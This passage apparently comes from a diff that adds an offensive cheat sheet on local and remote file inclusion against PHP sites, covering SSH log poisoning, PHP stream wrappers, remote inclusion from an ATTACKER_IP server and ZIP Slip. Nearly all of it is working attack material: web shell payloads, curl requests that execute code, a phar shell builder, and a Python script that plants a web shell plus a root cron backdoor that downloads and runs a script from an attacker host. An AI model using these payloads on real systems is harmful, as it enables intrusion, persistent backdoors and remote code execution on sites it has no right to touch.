# Method 3: SSH Log Poisoning
|
|
91
|
+
# SSH as: ssh '<?php system($_GET["cmd"]); ?>'@target.com
|
|
92
|
+
# Include: /var/log/auth.log
|
|
93
|
+
|
|
94
|
+
# Method 4: PHP Wrappers
|
|
95
|
+
# php://filter — read PHP source
|
|
96
|
+
https://target.com/page?file=php://filter/convert.base64-encode/resource=config.php
|
|
97
|
+
|
|
98
|
+
# php://input — execute POST body as PHP (requires allow_url_include)
|
|
99
|
+
curl "https://target.com/page?file=php://input" -d "<?php system('id'); ?>"
|
|
100
|
+
|
|
101
|
+
# data:// wrapper — include inline PHP
|
|
102
|
+
https://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
|
|
103
|
+
# base64 of: <?php system('id'); ?>
|
|
104
|
+
|
|
105
|
+
# phar:// — PHP archive code execution
|
|
106
|
+
# Create phar with PHP payload
|
|
107
|
+
php -r "
|
|
108
|
+
\$p = new Phar('shell.phar');
|
|
109
|
+
\$p['shell.php'] = '<?php system(\$_GET[\"c\"]); ?>';
|
|
110
|
+
\$p->stopBuffering();
|
|
111
|
+
"
|
|
112
|
+
# Upload phar as image (phar magic bytes don't look like PHP)
|
|
113
|
+
# Include: ?file=phar://uploads/shell.phar/shell.php&c=id
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## Phase 4 — RFI (Remote File Inclusion)
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
# Requires: allow_url_include = On in PHP (less common now)
|
|
122
|
+
# Host malicious PHP
|
|
123
|
+
echo '<?php system($_GET["c"]); ?>' > shell.txt
|
|
124
|
+
python3 -m http.server 8080
|
|
125
|
+
|
|
126
|
+
# Include remote file
|
|
127
|
+
https://target.com/page?file=http://ATTACKER_IP:8080/shell.txt&c=id
|
|
128
|
+
|
|
129
|
+
# SMB-based RFI (Windows targets)
|
|
130
|
+
# Host share: smbserver.py -smb2support share /tmp/
|
|
131
|
+
https://target.com/page?file=\\ATTACKER_IP\share\shell.php&c=whoami
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## Phase 5 — ZIP Slip / Archive Path Traversal
|
|
137
|
+
|
|
138
|
+
```python
|
|
139
|
+
# Malicious ZIP with path traversal in filename
|
|
140
|
+
import zipfile
|
|
141
|
+
|
|
142
|
+
with zipfile.ZipFile("zipslip.zip", "w") as z:
|
|
143
|
+
# Traverse to webroot
|
|
144
|
+
z.writestr("../../var/www/html/shell.php",
|
|
145
|
+
"<?php system($_GET['c']); ?>")
|
|
146
|
+
z.writestr("../../etc/cron.d/backdoor",
|
|
147
|
+
"* * * * * root curl http://ATTACKER/shell.sh | bash")
|
|
148
|
+
|
|
149
|
+
# Upload → server extracts → shell.php written to webroot
|
|
150
|
+
curl https://target.com/upload -F "archive=@zipslip.zip"
|
|
151
|
+
curl https://target.com/shell.php?c=id
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Skill Levels
|
|
157
|
+
|
|
158
|
+
**BEGINNER:** Basic ../ traversal for /etc/passwd · PHP filter wrapper for source read
|
|
159
|
+
|
|
160
|
+
**INTERMEDIATE:** Log poisoning for LFI→RCE · php://input execution · ZIP Slip
|
|
161
|
+
|
|
162
|
+
**ADVANCED:** phar:// deserialization · /proc/ exploitation · Encoding bypass chains
|
|
163
|
+
|
|
164
|
+
**EXPERT:** Blind LFI detection via timing · Custom encoding chains · LFI in binary protocols
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## References
|
|
169
|
+
|
|
170
|
+
- PortSwigger Path Traversal: https://portswigger.net/web-security/file-path-traversal
|
|
171
|
+
- PayloadsAllTheThings LFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
|
|
172
|
+
- LFI to RCE techniques: https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/
|